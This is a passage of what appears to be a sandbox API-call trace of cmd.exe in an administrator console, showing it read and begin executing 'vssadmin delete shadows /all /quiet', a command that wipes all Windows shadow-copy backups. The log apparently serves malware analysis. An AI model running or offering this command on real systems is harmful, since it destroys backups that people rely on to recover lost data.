lpWideCharStr=0x7ff653083c4a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0040.515] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.515] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.515] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.515] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.515] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.515] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c4e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.515] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.515] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.515] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c50, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0040.515] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.515] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.515] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c52, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0040.515] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.515] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.515] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c54, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0040.515] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.515] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.515] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c56, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0040.515] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.515] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.515] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c58, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0040.516] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.516] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.516] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c5a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0040.516] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.516] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.516] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c5c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0040.516] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.516] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.516] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.516] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.516] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.516] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0040.516] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.516] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.516] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0040.516] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.516] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.516] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0040.516] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.516] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.516] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0040.516] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.516] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.517] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.517] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.517] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.517] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0040.517] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.517] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.517] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0040.517] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.517] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.517] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0040.517] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.517] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.517] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0040.517] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.517] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.517] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.517] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.517] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.517] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0040.517] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.517] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.517] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe195f2f838, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0xe195f2f838*=0x1, lpOverlapped=0x0) returned 1 [0040.518] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0040.518] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.518] GetFileType (hFile=0x27c) returned 0x3 [0040.518] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.518] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.518] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.518] GetFileType (hFile=0x288) returned 0x3 [0040.518] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0040.518] WriteFile (in: hFile=0x288, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xe195f2f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0xe195f2f7d8*=0x24, lpOverlapped=0x0) returned 1 [0040.518] GetProcessHeap () returned 0x2cd147d0000 [0040.518] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x4012) returned 0x2cd147d8fe0 [0040.518] GetProcessHeap () returned 0x2cd147d0000 [0040.518] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d8fe0) returned 1 [0040.519] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0040.519] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0040.519] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0040.519] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0040.519] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0040.519] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0040.519] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0040.519] GetProcessHeap () returned 0x2cd147d0000 [0040.519] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xb0) returned 0x2cd147d8320 [0040.519] GetProcessHeap () returned 0x2cd147d0000 [0040.519] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x22) returned 0x2cd147d6a80 [0040.520] GetProcessHeap () returned 0x2cd147d0000 [0040.520] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x48) returned 0x2cd147d1850 [0040.520] GetConsoleOutputCP () returned 0x1b5 [0040.537] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65307fbb0 | out: lpCPInfo=0x7ff65307fbb0) returned 1 [0040.537] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.542] GetConsoleTitleW (in: lpConsoleTitle=0xe195f2f620, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0040.588] malloc (_Size=0xffce) returned 0x2cd149f0840 [0040.588] ??_V@YAXPEAX@Z () returned 0x2cd149f0840 [0040.588] malloc (_Size=0xffce) returned 0x2cd14a00820 [0040.588] ??_V@YAXPEAX@Z () returned 0x2cd14a00820 [0040.589] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0040.589] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0040.589] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0040.589] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0040.589] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0040.589] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0040.589] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0040.589] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0040.589] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0040.589] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0040.589] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0040.589] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0040.589] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0040.589] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0040.589] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0040.589] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0040.589] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0040.589] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0040.589] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0040.589] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0040.589] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0040.589] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0040.589] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0040.590] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0040.590] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0040.590] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0040.590] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0040.590] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0040.590] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0040.590] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0040.590] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0040.590] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0040.590] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0040.590] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0040.590] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0040.590] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0040.590] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0040.590] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0040.590] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0040.590] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0040.590] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0040.590] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0040.590] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0040.590] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0040.590] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0040.590] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0040.590] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0040.590] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0040.590] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0040.590] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0040.590] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0040.590] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0040.590] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0040.600] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0040.600] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0040.600] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0040.600] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0040.600] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0040.600] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0040.600] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0040.600] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0040.600] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0040.600] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0040.600] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0040.600] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0040.600] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0040.600] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0040.600] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0040.600] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0040.600] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0040.600] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0040.600] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0040.600] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0040.600] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0040.600] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0040.600] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0040.600] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0040.600] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0040.600] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0040.600] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0040.600] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0040.601] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0040.601] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0040.601] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0040.601] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0040.601] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0040.601] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0040.601] ??_V@YAXPEAX@Z () returned 0x1 [0040.601] GetProcessHeap () returned 0x2cd147d0000 [0040.601] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xffde) returned 0x2cd147d8fe0 [0040.602] GetProcessHeap () returned 0x2cd147d0000 [0040.602] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x5a) returned 0x2cd147d83e0 [0040.602] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0040.602] malloc (_Size=0xffce) returned 0x2cd14a00820 [0040.602] ??_V@YAXPEAX@Z () returned 0x2cd14a00820 [0040.602] GetProcessHeap () returned 0x2cd147d0000 [0040.602] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x1ffac) returned 0x2cd147e8fd0 [0040.604] SetErrorMode (uMode=0x0) returned 0x0 [0040.604] SetErrorMode (uMode=0x1) returned 0x0 [0040.604] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2cd147e8fe0, lpFilePart=0xe195f2eea0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe195f2eea0*="Desktop") returned 0x17 [0040.604] SetErrorMode (uMode=0x0) returned 0x1 [0040.604] GetProcessHeap () returned 0x2cd147d0000 [0040.604] RtlReAllocateHeap (Heap=0x2cd147d0000, Flags=0x0, Ptr=0x2cd147e8fd0, Size=0x52) returned 0x2cd147e8fd0 [0040.604] GetProcessHeap () returned 0x2cd147d0000 [0040.604] RtlSizeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, MemoryPointer=0x2cd147e8fd0) returned 0x52 [0040.604] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0040.604] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0040.604] GetProcessHeap () returned 0x2cd147d0000 [0040.604] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x1bc) returned 0x2cd147d6c30 [0040.604] GetProcessHeap () returned 0x2cd147d0000 [0040.604] 